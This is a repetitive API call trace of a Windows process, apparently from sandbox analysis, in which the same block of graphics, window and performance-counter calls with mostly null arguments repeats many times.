[0026.859] GetLastError () returned 0x715 [0026.859] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.859] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.859] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.859] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.859] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.859] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.859] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191681403, cy=27, fuLoad=0x0) returned 0x0 [0026.859] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.859] GetLastError () returned 0x715 [0026.859] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.859] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.859] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.859] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.859] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.859] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.859] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191662458, cy=27, fuLoad=0x0) returned 0x0 [0026.859] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.860] GetLastError () returned 0x715 [0026.860] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.860] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.860] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.860] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.860] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.860] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.860] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191643513, cy=27, fuLoad=0x0) returned 0x0 [0026.860] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.860] GetLastError () returned 0x715 [0026.860] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.860] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.860] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.860] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.860] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.860] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.860] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191624568, cy=27, fuLoad=0x0) returned 0x0 [0026.860] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.861] GetLastError () returned 0x715 [0026.861] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.861] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.861] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.861] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.861] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.861] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.861] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191605623, cy=27, fuLoad=0x0) returned 0x0 [0026.861] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.861] GetLastError () returned 0x715 [0026.861] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.861] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.861] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.861] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.861] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.861] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.861] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191586678, cy=27, fuLoad=0x0) returned 0x0 [0026.861] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.861] GetLastError () returned 0x715 [0026.862] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.862] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.862] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.862] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.862] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.862] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.862] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191567733, cy=27, fuLoad=0x0) returned 0x0 [0026.862] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.862] GetLastError () returned 0x715 [0026.862] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.862] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.862] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.862] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.862] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.862] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.862] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191548788, cy=27, fuLoad=0x0) returned 0x0 [0026.862] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.863] GetLastError () returned 0x715 [0026.863] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.863] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.863] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.863] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.863] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.863] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.863] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191529843, cy=27, fuLoad=0x0) returned 0x0 [0026.863] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.863] GetLastError () returned 0x715 [0026.863] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.863] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.863] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.863] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.864] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.864] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.864] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191510898, cy=27, fuLoad=0x0) returned 0x0 [0026.864] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.864] GetLastError () returned 0x715 [0026.864] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.864] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.864] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.864] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.864] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.864] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.864] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191491953, cy=27, fuLoad=0x0) returned 0x0 [0026.864] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.864] GetLastError () returned 0x715 [0026.864] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.864] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.864] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.864] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.865] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.865] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.865] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191473008, cy=27, fuLoad=0x0) returned 0x0 [0026.865] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.865] GetLastError () returned 0x715 [0026.865] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.865] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.865] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.865] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.865] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.865] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.865] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191454063, cy=27, fuLoad=0x0) returned 0x0 [0026.865] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.865] GetLastError () returned 0x715 [0026.865] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.865] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.865] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.865] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.866] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.866] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.866] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191435118, cy=27, fuLoad=0x0) returned 0x0 [0026.866] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.866] GetLastError () returned 0x715 [0026.866] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.866] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.866] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.866] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.866] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.866] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.866] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191416173, cy=27, fuLoad=0x0) returned 0x0 [0026.866] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.866] GetLastError () returned 0x715 [0026.866] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.866] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.866] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.866] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.866] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.866] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.867] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191397228, cy=27, fuLoad=0x0) returned 0x0 [0026.867] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.867] GetLastError () returned 0x715 [0026.867] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.867] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.867] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.867] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.867] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.867] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.867] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191378283, cy=27, fuLoad=0x0) returned 0x0 [0026.867] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.867] GetLastError () returned 0x715 [0026.867] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.867] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.867] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.867] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.867] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.867] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.867] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191359338, cy=27, fuLoad=0x0) returned 0x0 [0026.867] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.868] GetLastError () returned 0x715 [0026.868] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.868] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.868] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.868] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.868] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.868] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.868] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191340393, cy=27, fuLoad=0x0) returned 0x0 [0026.868] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.868] GetLastError () returned 0x715 [0026.868] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.868] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.868] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.868] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.868] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.868] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.868] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191321448, cy=27, fuLoad=0x0) returned 0x0 [0026.868] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.869] GetLastError () returned 0x715 [0026.869] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.869] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.869] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.869] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.869] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.869] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.869] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191302503, cy=27, fuLoad=0x0) returned 0x0 [0026.869] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.869] GetLastError () returned 0x715 [0026.869] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.869] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.869] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.869] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.869] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.869] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.869] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191283558, cy=27, fuLoad=0x0) returned 0x0 [0026.869] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.870] GetLastError () returned 0x715 [0026.870] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.870] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.870] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.870] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.870] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.870] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.870] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191264613, cy=27, fuLoad=0x0) returned 0x0 [0026.870] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.870] GetLastError () returned 0x715 [0026.870] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.870] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.870] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.870] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.870] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.870] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.870] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191245668, cy=27, fuLoad=0x0) returned 0x0 [0026.870] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.873] GetLastError () returned 0x715 [0026.873] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.873] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.873] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.873] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.873] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.873] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.873] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191226723, cy=27, fuLoad=0x0) returned 0x0 [0026.873] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.873] GetLastError () returned 0x715 [0026.874] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.874] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.874] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.874] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.874] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.874] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.874] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191207778, cy=27, fuLoad=0x0) returned 0x0 [0026.874] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.874] GetLastError () returned 0x715 [0026.874] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.874] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.874] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.874] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.874] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.874] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.874] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191188833, cy=27, fuLoad=0x0) returned 0x0 [0026.874] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.874] GetLastError () returned 0x715 [0026.875] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.875] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.875] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.875] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.875] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.875] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.875] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191169888, cy=27, fuLoad=0x0) returned 0x0 [0026.875] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.875] GetLastError () returned 0x715 [0026.875] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.875] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.875] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.875] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.875] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.875] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.875] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191150943, cy=27, fuLoad=0x0) returned 0x0 [0026.875] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.875] GetLastError () returned 0x715 [0026.875] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.875] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.876] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.876] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.876] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.876] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.876] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191131998, cy=27, fuLoad=0x0) returned 0x0 [0026.876] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.876] GetLastError () returned 0x715 [0026.876] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.876] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.876] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.876] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.876] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.876] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.876] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191113053, cy=27, fuLoad=0x0) returned 0x0 [0026.876] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.876] GetLastError () returned 0x715 [0026.876] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.876] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.876] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.876] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.877] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.877] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.877] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191094108, cy=27, fuLoad=0x0) returned 0x0 [0026.877] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.877] GetLastError () returned 0x715 [0026.877] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.877] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.877] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.877] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.877] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.877] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.877] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191075163, cy=27, fuLoad=0x0) returned 0x0 [0026.877] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.877] GetLastError () returned 0x715 [0026.877] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.877] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.877] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.877] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.878] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.878] 